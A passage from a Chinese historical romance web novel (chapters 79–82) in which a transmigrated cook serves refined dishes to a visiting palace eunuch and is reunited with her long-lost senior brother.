说时迟那时快,论一夫当关万夫莫开之勇,还得是顾名思,“嗖”的一下就飞了出去,那后厨的两大盘羊肉对他实在是太过于诱惑了,紧随其后的自然还有乔四方和张清寒,这三个大男人宛如三只饿狼呼啸而去。 而北斗大拿作为一个历经世事的老翁,是断不会同这帮年轻人计较的,他又吃了一筷子桌子上的羔羊肉,这才将魔爪伸向了鲶鱼炖茄子,鲜美异常酱香浓郁,先吃鱼肉再吃茄子,如此循环往复,再配上香甜饱满的大米饭,谁能受得了啊。 程六水眨巴眨巴着眼睛,忽而想到一句流传在家乡的一句俗语,虽不十分贴切却也八九不离十了,“鲶鱼炖茄子撑死老爷子。” 她面前这老爷子倒没撑死,就是吃相愈发不像个武林前辈了,像极了高血压高血脂吃不了肉的老爷爷,一看没人管了,吃肉吃得那叫一个香啊。 程六水生怕这又是羊肉又是排骨又是鲶鱼的,给老爷子真吃个三高出来,只能夹了块豆腐箱给北斗前辈,顺便还附带了几颗炒的水灵灵的小油菜。 北斗大拿见这豆腐箱生得平平无奇,咬了一口顿时那木耳香菇海米的香味鲜得掉眉毛,北斗大拿这才发觉小小一道豆腐竟也内有乾坤,实在是妙思巧思啊。 他现下是对程小师傅的厨艺一百个敬服,若说他自己是武学奇才,那程小师傅便是厨子天才,俗话说衣食住行,于吃这一道上,是大有学问啊,而且还是关乎每个人的学问。 待到北斗大拿酒足饭饱,像模像样地用手绢擦了擦嘴才腾出功夫道,“我总算是明白我那太白老友,宁愿装病也要在这儿多留些时日是为何了,程小师你这手艺着实是惊为天人,怕是那御膳房的御厨也不遑多让。” 程六水听了这话,却着实有些不敢当了,不窥全貌不言是非,她只不过是在现代做了十年厨子,加上平日里总喜欢钻研,这才大多菜色都会做,可那御厨是多少人里挑出来的,能给皇帝做饭,手艺自是没话说,不然一个不小心脑袋就得搬家了。 “不敢不敢,我这不过是喜欢做菜,较旁人多琢磨些,哪里敢和御厨比呢。”程六水赶忙道。 “你不必谦虚,小老儿我经常去御膳房顺吃的,什么清蒸鲥鱼烧鹅燕窝的,我都是吃得的,也是好吃得很,可这美食佳肴便是一样的菜谱,厨子不同做出来的就不是那个味儿。程小师傅,你做的菜不仅色香味俱全,还多了些质朴天然浑然天成,天生便是吃这碗饭的。”北斗大拿一本正经地夸赞道。 程六水听了这话,那心里开心得都要跳起来了,再看看酒楼伙计们个个吃得眉飞色舞的,更是满足得很。哪个厨子都想成为名厨,可这饭不单是做给评委做给有身份有地位的人,无论吃的人是谁,只要吃得开怀就是对厨子最大的褒奖了。 程六水素来是没什么大志向的,穿越前只 想赚钱做回锅肉吃,穿来这里做了会做炸药的程六水,她也只想开开心心做饭,如果能攒到钱开一家属于自己的小食肆就更好了,最好再找到记忆中的爹爹娘亲,这样她就不是没人要的野厨子了。 想着想着程六水就在那儿咯咯地傻乐,所幸无人注意,因为这一桌人啊吃得不亦乐乎各有各的傻,各有各的痴。 转眼间酒楼便重新开张了,大了足足一倍,又重新粉刷过,张灯结彩的着实是引人注目,街坊邻居们一大早就守在门口了,那围得是里三层外三层都是人啊,怕是半个江陵城的人都来看热闹了。 江陵本不是什么富庶地方,是这几年镖局漕帮兴盛了起来,来往的商人多了才渐渐成了气候,人一多吃饭的地方也就多了,一座城大大小小的酒楼食肆开了十几二十个,最有名的便是元初楼望水台这样的大酒楼,而十全酒楼就是个半死不活的存在,客人少有登门来的也是些舞刀弄枪的生面孔,故而谁也没放在眼里。 可就这一年半载的,这十全酒楼竟真做起来了,如今来了这江陵的商人们都要先来十全酒楼尝尝鲜,一传十十传百的,江湖上好名声不老少。这歇业了一个多月,更是弄得食客们肚子瘪瘪的心里痒痒的,隔两天就去瞅瞅酒楼重新开张了没。 “噼里啪啦叽里呱啦崩。”火红的鞭炮炸开了花响彻天际,乔四方拿着火折子点完左边点右边,马陶陶捂着耳朵笑得直跺脚,众人一派喜气洋洋。 人声鼎沸中,一浑厚有力的声音穿透人群,“各位父老乡亲们,今日十全酒楼翻修再开张,开张就要酬宾!这三日凡是光临小店都打五折!”张清寒大声说道。 一旁的程六水忽而用力一拉细绳,那红纸大字足足写了一百零八道菜色,椰子鸡菊花锅酸菜白肉地三鲜雪菜大黄鱼利村牛肉,真是只有想不到的没有做不了的,那菜色直看得食客们流口水,最过分的是,杜大画师给每道菜都画了张惟妙惟肖的小图,明晃晃地就在勾引人。 而赵玉雨则给门口的客人们发传单,每道菜色都写了其独特之处,这一看好家伙就更想吃了,最后那传单都不够了,客人们抢得不亦乐乎。 程六水在后厨的铁锅就从来没停下过,乔四方的算盘珠子打得都快磨平了,就算是一贯冷脸的张清寒也止不住的笑,没人和钱过不去,尤其是他本身还欠着黑心帝后不少钱。 这生意红红火火,酒楼伙计个个都都东跑西颠的,无人注意到角落里有个挺着大肚腩的食客,一旁还跟着好几个小徒弟,正在那儿四处张望着。 小徒弟们好不容易拿着了个菜单,争先恐后地呈到大肚腩食客眼前,只见那食客先是嗤笑了两下,这才装作不经意地看了眼菜单道,“不过是些花招子,京城的酒楼里少不得也是这些。” “是了是了,江陵这地界能翻出什么浪来,怎么着都比不上京里。”小徒弟伶俐得很,顺着话茬便说了下去。 大肚腩食客听了这话,嘴角才翘起些,沉下心来又扫了两眼菜单,这都什么乱七八糟的,夫妻肺片龙井虾仁开水白菜的,当真是驴唇不对马嘴。龙井那是名茶,怎能同虾仁做菜,再有那开水白菜一听就没什么滋味,居然能称作到菜? 他那白眼都快翻到天上去了,更别提那夫妻肺片,真是闻所未闻骇人听闻啊。 第79章 开水白菜 “六水,夫妻肺片龙井虾仁开水白菜各一盘~”马陶陶笑盈盈地颠颠跑了过来,裙摆轻快地在半空中划过了个圆。 “呦谁这么有品味啊,重新开门这些日子,这几道菜可从没上过桌。”一旁在做紫苏饮子的杜少仲挑眉笑道。 “不认识,是几个生面孔,听那口音是京城来的。”马陶陶摇了摇头道,紧接着又开口,“瞧着不好惹,身板不像是练家子,气焰倒大牛气得很。” 程六水这才从烟火缭绕的灶台处抬起了头,正巧赵玉雨端着客人吃得溜干净儿的盘子碗筷回来,她便招呼道,“玉雨,你帮我颠个勺,我去前面瞧瞧。” 赵玉雨学了这些日子,算是酒楼的半个厨子了,时不时就帮程六水支应着,自然了工钱也涨了两番,腰包鼓鼓的晚上睡觉都踏实了不少,“好,你且去吧,这里有我呢。” 程六水点了点头,跟着马陶陶就来了前厅,顺着那目光一瞧,端坐着的是位有些年纪的男人,大腹便便养尊处优得很,白面乌发碧玉簪束发,绫罗绸缎加身一派富商装束,上下再一打量偏生有一处令她心生疑窦。 她快步走向柜台乔四方那儿问道,“东家呢?” 乔四方手上的算盘珠子都快打飞了,忙里偷闲地指了指楼上道,“在房里待着呢,今个儿一天都没咋露面了。” 程六水半是疑惑半是担忧道,“东家病了?还是怎的了?往常他不都在这儿前厅忙活着吗?” “病了?不能不能,他那身子骨壮得像头牛,我看能活到一百二。”乔四方接过食客给的一两半银子,掂量掂量就放进了匣子里,这匣子就打开了几瞬,好家伙真是银光闪闪满堂生辉啊。 没怎么见过世面的程六水刹那间什么都忘了,什么夫妻肺片来路不明的京城富商,都不如这银子好看啊。 她这思绪忽而飘到了自己小屋子墙砖里藏得银子票子,想着想着就傻乎乎地笑出了声,那墙砖里的也不比这匣子里的少多少嘛,她的她的都是她的。 “六水?六水!”乔四方刚腾出功夫抬头瞅了瞅,就见程六水这一副魂不守舍的傻模样,赶忙叫道。 程六水这才抿个嘴挠了挠头道,“嘿嘿我去楼上找东家。”蹦蹦跳跳地一溜烟儿就跑没影了,这也不怪她乐疯了,满打满算她在这十全酒楼也干了有一年了,酒楼的生意是蒸蒸日上,她那破破烂烂只有九个铜板的小荷包也跟着红火了起来。 之前定好的是每月工钱二两银子,年节上还能再添一两,后来她又用大铁锅威逼利诱那张东家,于是便有了些提成奖金,再加上遇着那吃得开心出手大方的食客,时不时还有些进项,现下她的小金库可是足足有一百两呢。 一百两开个酒楼是远远不够的,就算是在那县里镇上开怎么着也要个一千两,可若是开个小食肆那倒是无需这么多,节省些三百两就尽够了,这么算下来,她只要再在酒楼打工两年就能有些积蓄自立门户了。 尤其是十全酒楼重新开张后,生意愈发红火了起来,不止是邻里街坊来往商人,就连那江湖侠士赶考举子都要特地绕道江陵来凑凑热闹,俨然就是个古代版网红店嘛。 她与张东家当初议定的提成虽是比例极少,可酒楼生意好了,那提成自然亦是翻了番地涨啊,她想要不了两年了,说不定再干一年便能有钱在乡间开个小食肆了,地方她都看好了。 离江陵不远就有个兴水镇,镇上有好几处荒废了的铺面,有一处甚合她心意,那铺面后面竟是一片肥沃菜园,到时她春来种些水汪汪的小青菜,夏日里再来上些豆角茄子白萝卜,秋冬更是丰收的季节,白菜大葱蒜头垒满了院子,就这样安安生生地过完一年又一年,没有比这更好的了。 她这边思量着,几步便走到了张清寒的屋前,抬手便敲了敲门道,“东家,我可以进来吗?” 屋内声音瞬间响起,张清寒立时跑过来开了门柔声道,“进来吧。” “东家,我看下面来了位生面孔,京城人士却白面无须……”程六水进了屋顺手带上了门,话音刚起便说不出话来,眼前这幕让她的小心脏扑通扑通跳个没完。 那张清寒似是今日都未出屋,身上只着单薄寝衣,所幸初夏时节不冷不热冻不着,偏生他胸前不知怎的浸湿了一片,日日练功的宽厚胸膛在其中若隐若现着,长发半束着垂落在腰间。 程六水毕竟是个有出息的厨子,怎么着也不会为了眼前这清绝艳绝的男人流口水,可这男人手里拿的是什么?满满一箱子的银票金子! “我什么都没看见!”程六水赶忙捂住自己那双贼不听话的眼睛道,只不过指缝悄悄张着,不知是为了看如山峦落雨般的隆起,还是金光闪闪的箱子。 张清寒这厮倒是大摇大摆地将程六水欲盖弥彰的小手扒拉下来道,“有什么不能看的,我正在这儿数酒楼这一年的盈利,你来了正好帮我一起数数。” 随后又声音含笑道,“还是说你不敢看如今的我?” 程六水一下子被激起了反性,忙不迭地放下手来,两只葡萄眼瞪得溜圆道,“有什么不敢看的,你不就比别人高点壮点这里大点嘛!” 此话一出,程六水才觉出些不对,双颊顿时红成 了霞光,却还梗着脖子瞪着眼睛不服输道,“我可是见过世面的人,你莫要得意。” “见过世面?”张清寒本来被程六水的话激得也是心中一荡,可惜还没荡起来就“哐当”落地了,她见过旁人的?是谁?什么时候?难不成是白承茂? “哎呀你快把衣服穿上吧,别冻着了。”程六水眼见张大东家眼冒红光十分吓人,瞬间就怂了,拎了件外衫就要给他披上,怎奈她本就生得娇小单薄,而那张清寒与那七尺八高的乔四方也不遑多让了,她根本就披不上去。 气得她直接甩了上去,咬牙切齿地小声嘟嘟囔囔着,“长得高了不起啊,长得高老了小心得静脉曲张。” 张清寒一边穿着外衫,一边皱着眉不解道,“你说什么?” “你管我说什么哼。”程六水撇着嘴,毫不客气地就坐在了四仙桌旁,一低头便看见那箱子里的银票都摞成落了,乍一看怎么着也有个几千两了。 “这么多钱?”她不禁咂舌道,果然还是瘦死的骆驼比马大,万恶的资本家榨干了劳工们的每一滴血汗,这都是她的血汗啊! “欠朝廷的钱,也就是过了遍我的手。”张清寒将自己裹得严严实实的,坐在一旁道。 “对了,你方才是来找我说什么的?”他把那钱箱子推到了程六水手边,接着问道。 程六水这才“啪叽”拍了下自己被金银男色迷失的大脑道,“你看都怪你,都忘了正事了,楼下来了个京城的富商,我瞧那人有些年纪却无须,像是……” 张清寒了然于心,推开房门向下一瞧,便笑道,“无需担心,你平常如何做菜现下就如何做,这人我认识。” 程六水听了他这话,心里其实根本没明白,认识咋的了,你老人家认识的人多了,不是来找你寻仇的,就是来找你要钱的啧啧啧。 “行,那我这就去做。”程六水咽下了到嘴边的叭叭叭,老老实实地回去做菜去了,管他是不是来找茬的呢,东家说怎么干就怎么干,反正天塌了个高的挺着。 程六水看都没看手边的钱箱子,麻溜就下去颠大勺了,钱再多不是自己的也无用,男人胸再大摸不着也白扯。 此时后厨里依然井然有序着,程六水掀开了一大早就熬好的高汤,取了老母鸡瘦肉干贝煮上个两三个时辰,此时正是澄白浓厚,她用那笊篱滤出了各类炖烂的肉,这浓汤便清澈了许多,但这些仍是不够的。 程六水又将高汤置于火上炖着,冷水搅好的猪肉茸放进去,一圈圈慢悠悠地扫着,这汤里的杂质竟附在了肉茸上,而那高汤更是鲜美异常。时候差不多了,她捞出了这物尽其用的猪肉茸,再放些鸡肉茸进去,此时这浓汤清澈见底,成了实打实的清汤,实打实的“开水”。 而那白菜里最嫩的菜心早已切成了四瓣,微微用水焯过再用冰水一激,仍是脆生生绿汪汪的,刚刚的“开水”浇在菜心上,上锅蒸一小会儿便好,这菜心就染上了那至清至香。 程六水小心翼翼地把菜心摆盘,调味好的滚烫清汤沿着盘边浇开,一时间这白菜心宛如清水出芙蓉般绽放,静立于白瓷盘上吸引着众人的目光。 “我的天爷啊,这开水白菜竟然是这样的吗?我还以为就是白菜放开水里煮煮呢!”马陶陶捂住自己的小嘴巴,眨巴着震惊的眼睛。 杜少仲也放下了手里的活计,赶忙凑过去看,一看便是连连称叹,饶是他世家出身,自小锦衣玉食也是没见过这般菜色的。 第80章 龙井虾仁 程六水高深莫测地眨了眨眼睛道,“这里还有更好的东西呢。”她费劲巴力地端着口深锅回来,那锅盖盖得严严实实的,一下子勾住了马陶陶和杜少仲的目光。 “什么什么?还有比这开水白菜更奇的吃食?”马陶陶手脚倒快,说时迟那时快直接掀开了锅盖,扑面而来的就是极为醇厚的肉香,掺杂着缕缕草木香,令人不禁食指大动口水直流,端是她个京城大户人家的小姐,都恨不得伸出个小脑袋一探究竟了。 结果就这么一瞧,可给马陶陶吓了一大跳,嘚嘚瑟瑟道,“六水这里都是啥啊?我怎么看着不太对呢。” 程六水倒是不慌不忙地用老长个筷子一块一块夹了出来,卤得极是入味的牛腱子肉,那酱色都浸得深了去了,杜少仲常年酿酒,嗅觉极是好使,鼻翼微动就开口道,“这卤肉真是不简单啊,加了八角花椒香叶茴香……”,再深深一嗅更是称奇道,“竟还有些桂皮草果,怪不得能这么香呢。” “你这鼻子都能抵得上毛毛了。”程六水不禁笑着称赞道,而从门缝偷溜进来的小哈巴狗毛毛,闻了这肉味直跺脚,一个劲地往上蹦,可惜这毛毛是只短腿胖屁狗,蹦着还没旁的狗站着高。 “哎呦瞅你这着急的,小馋鬼。”程六水也不恼,只是自顾自地又夹起深锅里的吃食,这回夹出来却不是什么牛腱子肉了,反而是些牛肚牛舌牛心。 杜少仲这才明白为何那陶陶欲言又止,他下意识皱眉道,“六水,这东西是给客人吃的?” “自然是啊,你们别看牛肚牛舌牛心是些没人要的边角料,放在卤汁里一卤,那什么劳什子腥味杂味都去了个溜干净,就剩下个香了,牛舌软嫩牛心弹牙有嚼劲,那牛肚更是不得了,每一寸都吸满了香喷喷的卤汁,你们说说能不好吃吗? 况且这菜价格实惠,旁的酱牛肉都得一贯钱一盘,可这夫妻肺片只要半贯钱量还大,就算是那没什么钱的人家也能买来尝个鲜,吃食不论名贵好吃就行。你看咱外面这位客官就是个识货的,他先是点了个开水白菜,这菜在菜单上不少日子了,为何没人点啊?“程六水手里大菜刀“唰唰唰”地切牛心,小嘴还一个劲地叭叭叭。 “那菜多贵啊,三两银子就为了吃个白菜,甭说是江陵了就是京城都难找这样的冤大头,要不是我刚刚见了六水你做这菜,是又用鸡又用猪的,连鲜货都用了不老少,我都以为这三两银子是坑人的呢。”马陶陶挠了挠头笑嘻嘻道。 “是啊,这客官先点了个名贵的,又点了个实惠的,不搞虚架子就图一个新鲜好吃,这才能吃得开心开怀。”程六水说着便将切好的牛肉牛肚牛心牛舌码得整整齐齐的,取卤汤花椒粉白糖醋清酱蒜泥,均匀地淋在肉上,随后又浇上了她前日榨好的辣椒油,光是辣椒面就用了五六种,辛辣的麻辣的增香的都放了个遍,此时用在这夫妻肺片上时正正好,最后撒上些香菜花生碎便是齐活了。 程六水一抬头,就见面前这两人眼睛瞪得跟个铜铃般看向自己,不对不止两人,还有只短腿白毛哈巴狗够着够着闻。 “行了,锅里还有许多呢,等会给你们再拌一盆。”程六水笑着摇了摇头。 “嗡嗡嗡”炉子旁的水壶开了,叫得那叫一个响,一想到有好吃的马陶陶走起路来步步生风,就提溜着水壶过来道,“陶陶还要做啥,我来帮你?” “简单得很,而且你做肯定是手到擒来。”程六水转身就从柜子里取出一瓮龙井茶来,“泡吧!” 马陶陶再一瞅,好家伙这柜子里竟藏着一套茶具来,怪不得六水说她能手到擒来呢,本就是京中的闺阁小姐,哥哥虽在外到处跑,却给她请了许多教习师傅,这茶道便是其中定要会的一项,学不明白师傅可是要罚的。 再说她家毕竟是皇商,南南北北多少茶叶都得经她家的手,品鉴得多了自然会尝会泡。 眼前的雨前龙井一芽一叶,翠生生的绿亮得很,轻轻探鼻便有股清新豆香,一瞧便是明前茶,马陶陶仔细一回忆,那龙井虾仁菜价也是高得很,虽比不上开水白菜,也是不遑多让了。 这下子马陶陶也是甩开了袖子,要大展身手一番了,要不然都对不起等会一盆的夫妻肺片,她先是用水壶里的沸水洗了遍那茶具,这有的茶娇贵得很,不热茶具茶香便是要掉一档的。 随后她捏了一小撮龙井放入了茶盏中,倒了些稍稍没那么沸的水,轻轻摇盏待那茶香扑了鼻,再倒入七八分热水,这时的茶汤才是嫩绿清香,闻之欲醉。 正当马陶陶沉浸在自己这 一手雅致茶道中时,对面正在努力剥虾仁的杜少仲十分气愤地翻了个白眼,他也会泡茶啊,他不仅会泡,他还会喝呢! “咳咳。”监工程六水走上前来,端着杜少仲刚剥好的一盘虾仁,头也不回地就走了,只不过落下了一句轻飘飘的话,“喝吧喝吧,我不和东家说。” 杜少仲这下子乐得是喜笑颜开啊,跑过去就泡了一壶龙井,又在柜子里扒拉出了些大红袍,甭提多高兴了。 那虾仁加了些黄酒蛋清盐巴地瓜粉抓匀,再掺上些菜籽油,下锅快炒几下便捞出,随后留些底油再倒入嫩绿的茶汤,烹上虾仁,翻炒地鲜虾茶香四溢才算出锅,那龙井茶叶子洒在晶莹剔透的虾仁上,当真是极为清雅的一道菜。 “齐活,上菜吧!”程六水拍了拍手道。 前厅角落里的白面富商都仍在四处张望着,本是想瞧瞧旁桌都吃得如何,可这越瞅是越饥肠辘辘啊,也不知道那菜是不是真这么好吃,隔壁桌吃得那叫一个狼吞虎咽,真是有伤风雅。 “咕噜噜。”跟着富商的小徒弟定力显然没有他师父老道,瘪瘪的肚子馋馋的嘴巴。 “作甚么,我教没教过你,喜怒不形于色,心里想什么莫要让旁人知道了。”富商没好气地说道。 “我也没形于色,我就是饿啊。”小徒弟咂巴着嘴道。 富商低头一看,桌上送的蜜糖核桃焦香瓜子是半点都没了,只余一小山的瓜子皮了,实在是叹息自家徒弟的不争气。 “客官,您点的菜上齐了,您慢用。”马陶陶端上桌来道。 富商一见那开水白菜就挪不开眼了,这菜先不说好不好吃,卖相着实不错,一年到头宴席不少他见过雕牡丹花芙蓉花的,巧夺天工惟妙惟肖不假,却有股子匠气。 上面的主子们见多了就腻了,可这白菜心浑然天成绽放于瓷盘中,如藏匿于水中的睡莲,刹那盛开惊了那看客双眸。他再一尝,鲜美异常爽口解腻,绝对是上上佳品。他一动筷,小徒弟们也一一跟着师傅吃了起来,个个吃相极为规矩,半点声响都是没有的。 富商吃了这开水白菜是开了胃了,急忙将筷子伸向另一道夫妻肺片,还没吃到嘴边,就听一道熟悉的声音响起。 “钱大人吃得如何啊?”张清寒施施然地落座,唇边沁着一抹极淡的笑。 钱三才被吓得筷子一嘚瑟,那蘸满了红油的牛腱子肉就掉进了碗里,他不可置信地看了看张清寒,使劲揉了揉本就不大的芝麻绿豆眼道,“你你你!你怎么在这?” “我我我,我怎么就不能在这?”张清寒拾起落在桌上的筷子,慢条斯理地收拾好。 “不是说你离京了吗?为陛下去寻那长生不老药。”钱三才捂着嘴,凑近些贼眉鼠眼地小声说道。 “长生不老药?这都哪跟哪啊?”张清寒也是懵了。 “我这也是听说的,你骤然离京,身上的官职一个没丢,哪能干什么去了,先帝在时就派心腹寻过,到了今上这儿,今上的心腹不就是你吗?”钱三才振振有词道。 张清寒不禁讶然笑了,以讹传讹今日传到他自己这儿来了,“我离京的时候,你不是早离了御膳房,五湖四海都走一半了,眼见为真耳听为虚,别总听人瞎传。” “哎你小子教训起我来了,想当年你肚子一饿就跑御膳房来找吃的,就我心肠好给你做。”钱三才本是御膳房的管事公公,在宫里活了几十年,前年被皇后娘娘看中,派出来遍寻美食珍馐,不成想大水冲了龙王庙,他竟寻到了张清寒这儿。 “是,您老心肠好人品佳,不然娘娘能派您出来吗?既然来了,不如好好品鉴我这酒楼的菜色。”张清寒笑道。 “你这酒楼?这酒楼是你开的?”钱三才这下碗里夫妻肺片都快惊掉了,眉毛飞起道。 “你就说好不好吃吧?”张清寒不接话茬,给钱三才夹了颗龙井虾仁。 钱三才这才顾得上吃一口夫妻肺片,舌尖瞬间麻辣鲜香醇香厚重,辣得过瘾香得实在,再漱口尝了龙井虾仁,话都说不出来了,一个劲地竖大拇指。《 》 80-90 第81章 丐帮 午后日头正好,洒金般照着一方角落,眯着眼睛吃得甭提多高兴的钱三才放下了碗筷,仔仔细细地拿起绢帕擦嘴,再看一旁的小徒弟们偷偷摸摸又看起了菜单子,想来这才三个菜定是吃不够的,寻摸着要再点些大饱口福呢。 钱三才此行只带了三人,一瘦高个子长脸坐得最板正的名叫进宝,在进宝身旁对着菜单比比划划的小胖子则是招财,剩下的那个便是最为贪吃的来福,正用白面馒头就着那夫妻肺片的红油底呢。 “咳咳。”钱三才毕竟也是个走遍大江南北,在皇宫见过几十年世面的大太监了,见了自己徒弟这般没出息的模样,只得轻咳两声没眼看地站起来道,“我前几月便听说江陵有家菜色着实不错的酒楼,原本我是不信的,今日一尝当真是别出心裁处处都好,你小子真是有个好厨子啊,还不带路让我见识见识这位大厨。” 张清寒一听便笑了,从善如流道,“是是是,钱大人随我来。”他自是知道六水的厨艺,可这年头酒香也怕巷子深。钱三才做得是给皇室寻珍馐美味的差事,要是得他在京中一句赞,六水这厨艺才算是真的名扬天下了。 钱三才撇了眼他那三个没什么眼色只顾着点菜的徒弟,示意他们赶紧跟上。 瘦高个的进宝是最得师父心意的,赶紧就拉着招财和来福起来,“哎,我还没吃完呢!”来福着急忙慌将那最后一口蘸满红油辣滋滋香喷喷的馒头塞进了嘴里。 钱三才一抬眼就见着来福的吃相,胸口是气不打一处来,“你吃吃吃……” 话音都未落,这有些肚子且不甚灵活的钱大人脚下一滑,“啪叽”一下子差点给众人表演了个劈叉,所幸他这腿不长实在劈不下去,只能左脚绊右脚摔倒在了柳木桌子上。 “师父!”小胖子招财赶忙去接住自家师父,怎奈小胖子哪里能撑得住大胖子的身板,两人一上一下又摔在了地上。 “哎呦呦这是怎的了?”正在大堂里化身小蜜蜂不停穿梭的马陶陶惊道,那双凤眼向下一瞅,除了这一对倒霉的师徒,好家伙怎还有个人皮面具。 众人顺着她眼神向下一瞧,皆是恍惚了,身为酒楼杂役的赵玉雨十分眼疾手快,“嗖”一下就窜到桌子底下捡起了人皮面具,似个没事人般藏在自己身后。 “师父师弟!”瘦高个进宝吓了一跳,眼看着师父阖上双眼,伸出颤抖的手探了探钱三才的鼻息,万幸还是有气的。 “放心,钱大人只是磕了下头,未见明伤只是有些肿胀,敷些药就会醒的。”张清寒蹲下来察看了一番便道,一行人只得背着钱三才和招财上了楼,马陶陶则跑到隔壁街的善济堂抓药去了。 这事发得突然,自是一阵手忙脚乱,还好午后过了饭点食客不多,不然旁人还以为是食物中毒了呢。 而方才只顾着吃馒头的来福神色极为愧疚,边上楼边时不时回头恶狠狠地看向那误伤师父的柳木桌,却不想对上了赵玉雨探究的目光,来福只得低头不语上楼去了。 “这人皮面具怎会在此?顾名思大师傅前些日子落下的?”程六水好不容易从繁忙的后厨中脱身,不曾想也就一个时辰不到,前厅竟发生了这许多事。 “就是那个,许是先前谁也没注意,今日这钱大人也是赶上了。”赵玉雨拿出人皮面具叹气道。 “真是倒霉得紧,这面具如今瞧来确实惟妙惟肖,与北斗老前辈是一模一样啊。”程六水坐在那柳木桌前,仔细端详着古代人的好手艺,这东 西还是个稀罕物,在黑市都寻不到品相如此好的,也不知顾大师傅是从哪得来的。 “咚咚咚。”一阵敲门声传来,此时酒楼午间饭食早歇了,按理说是无人再来上门了,程六水抬头一瞧,顿时说不出来,脑若雷击身如弱柳,瞬间天旋地转不知如何是好。 恍恍惚惚间,眼前这人与记忆中的人影合二为一,多少个夜里是他陪着她度过的,多少餐食是他哄着她吃的,她本以为他已然不在这世间了,却不想兜兜转转多年,终是遇着了。 “大师兄!”无人察觉时,程六水早已潸然泪下,飞奔一样扑到了来人的怀中。 这一扑倒好,刚从二楼房间出来的张清寒是看得正正好好,脑子嗡一下子就火了,手劲大得差点就将那柳木楼梯扶手给捏变形了。 只不过饶是他给捏碎了也是无济于事,他能说什么?又有什么资格说呢?满腹皆是哑巴吃黄连有苦说不出的。 敲门这人身形高大,瞧着年岁二十出头,衣衫虽干净却是补丁摞补丁的,本就是清俊儿郎,这么一打扮更是荆钗布衣显其弱质柔情。 “师妹?”江师兄眼神皆是讶然,只能一下下安慰着久别重逢痛哭不止的小师妹。 程六水抽抽噎噎了半天,哭得脖间都是泪水才抬起头,委屈巴巴道,“师兄这些年都去哪了?还有我爹娘呢?” 她这话还没说完,刹那间就被一股极大的力气托了起来,从江师兄的怀中来到了张清寒的身侧,她泪眼蒙蒙地瞅着张清寒,似是不解又是责怪地瞪着他。 “这位便是程门的江师兄?”张清寒本就是妒火中烧,见了程六水眼中的不满,更是险些抑不住那骨子里的寒凉,只想将这不速之客扔出去。 可如何能扔?怎么扔?这人是六水心心念念的师兄,是三年前程门满门失踪后出现的第一人,他扔不得打不得,于公此人是案件难得的线索,于私六水绝不会让自己伤他分毫。 “正是在下。”江远游拱手一礼道,随后便面容戚戚地要与那程六水执手相看泪眼了,“当年我只知那日夜里风大,师父师娘嘱咐我关紧门窗小心着凉,奈何一觉醒来我便什么也不知了,浑浑噩噩地在丐帮过了几年。近些日子忆起前尘过往种种,我这才出来寻你和师父师娘,如今寻到了你,我才觉着不白活,只盼日后能再得师父师娘的踪迹。” “师兄你能活着便是极好的了,爹娘的踪迹我已托了人在找,可叹这天地之大,真是难上加难。”程六水说道此处,更是哽咽着,“师兄你在丐帮过得好不好?” “好好好,丐帮中人都是实在人,不知不觉我也算是混出点名堂来了。”江远游答道。 程六水这才发觉,自家师兄这衣着打扮竟是丐帮的五袋长老了,不禁翩然一笑道,“师兄还是如当年那般厉害,短短几年在丐帮也有一席之地了。” “既是六水的师兄,不如在此住下,你们师兄妹好好叙旧,鄙人是这酒楼的东家。”张清寒面露寒光,声音极为低沉道,面上虽沉得住心里却如油煎火烹般,装成那宽厚得体的大家风范,实则骨子里就是个极爱拈酸吃醋的。 “多谢东家了,想必也是东家这些年庇护了师妹,请再受江某一拜。”江远游说着便要深深行礼。 张清寒不等他拜,就给他薅起来了,“不必如此,我能照料六水是我之幸事,哪能受师兄如此大礼。” 江远游眼神微动,心下有所感,再瞧眼前这人骨骼清奇身形矫健,怕不仅是什么东家更是个练家子,那嘴里说着些体面知礼的话,眼神却如豺狼虎豹,恨不得将自己生吞活剥了。 而一旁他那哭得梨花带雨的师妹一派天真懵懂,这俩人中间定然是有些猫腻的,江远游这才了然于胸道,“张东家如此对我们师兄妹如此之好,江某实在感激,只是如今我身在丐帮,又要寻师门下落,定然是无法在江陵久住的,能在此处略做休整已经是极好的了。” 忽而他挑眉道,“师妹,不如过几日你与我一同上路去寻师父师娘,你若是愿意我再替你在丐帮谋个差事可好?” “江师兄,丐帮风餐露宿四海为家,怕是六水在程门时也不曾如此过,她怕是吃不消,况且我在江湖中也是有些人脉的,亦在尽力寻伯父伯母下落,不如你我双管齐下,至于六水便留在酒楼等消息即可。”张清寒这下子神情彻底变了,下意识拉住程六水就不撒手。 “张东家这话虽在理,可到底要听听我师妹的意思吧?我师妹是程门少掌门,机关火药无一不通,在这酒楼如何施展,莫不如随我在这江湖上闯荡一番,待他日挣得名头重现我程门荣光,岂不是更好?”江远游也冷下脸来,绵里藏针般道。 这下子这俩人的目光齐齐聚在了程六水身上,她脸颊上的眼泪早就干了,雾蒙蒙的双眼左看看右看看,一个让她去以天为盖以地为席随便去喝西北风,一个让她天天干活压榨她的血汗资本家,真是非常不错的选择题呢! “爹娘是要寻的,程门是要复兴的。”程六水点了点头道,她虽是穿越而来,却继承了原身几乎所有的记忆与情感,这份联结于她而言,是无论如何不能舍弃的。 第82章 猪肉脯 金乌当空,晴天霹雳,明晃晃地劈得那冷脸的张清寒动弹不得,满心满眼的人儿就因着旁人几句话就要走,嘴里说着家族荣辱父母恩情,却半点也没有说过他,那他到底算什么,这数年光景于她而言,难不成就如黄粱一梦,梦过醒了她就继续做她那程门的大小姐,当真是没心没肺至极。 而江远游倒是眉眼俱笑,抿着嘴乐呵得不行,“师妹,那我们何时启程?” 没心没肺的程六水转过头,依旧如方才那副天真懵懂模样道,“我何时说要启程了?” “?你不是说要寻回师父师娘?”江远游被问得也含糊了,猛地以为是自己耳朵不好使。 “寻回伯父伯母,也不必随你走,我和你去寻就成。”张清寒当真是反应迅速,赶紧接过话茬道,他哪里还管三七二十一,只要不走怎么着都行啊。 “你别插嘴。”程六水忽而看向张清寒平静道,凌厉眼眸一闪而过,惊得张清寒瞬间闭上了小嘴巴。 “师兄,我在江陵过得很好,少年时随爹娘习得机关之术,本以为一辈子就要以此为生了,可哪知突逢巨变,我才知人是有很多种活法的,比起那众人艳羡的江湖地位与名声,我觉着归隐一方平平淡淡的过日子也是甚好的。爹娘的下落,我前两年亦寻了很久,人只要待过便会留有踪迹,若是你我都是苦寻不到,那就只有一种可能。”程六水目光沉静,温吞的笑容背后俱是对江远游的审视。 “什么可能?”江远游却未曾察觉眼前师妹的不对,只是耐着性子问道。 